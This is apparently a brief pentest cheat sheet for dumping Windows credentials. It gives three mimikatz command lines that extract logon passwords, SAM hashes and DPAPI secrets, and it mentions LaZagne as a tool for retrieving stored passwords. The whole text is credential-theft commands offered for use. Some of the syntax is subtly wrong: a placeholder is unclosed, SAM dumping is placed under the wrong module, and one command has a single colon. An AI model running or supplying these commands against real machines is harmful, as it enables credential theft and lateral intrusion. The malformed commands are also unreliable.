Dump hashes with mimikatz
.\mimikatz.exe "sekurlsa::logonpasswords" exit
.\mimikatz.exe "sekurlsa::sam /sam:<path_to_sam /system:<path_to_system> exit
The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer.
.\mimikatz.exe "sekurlsa:dpapi" exit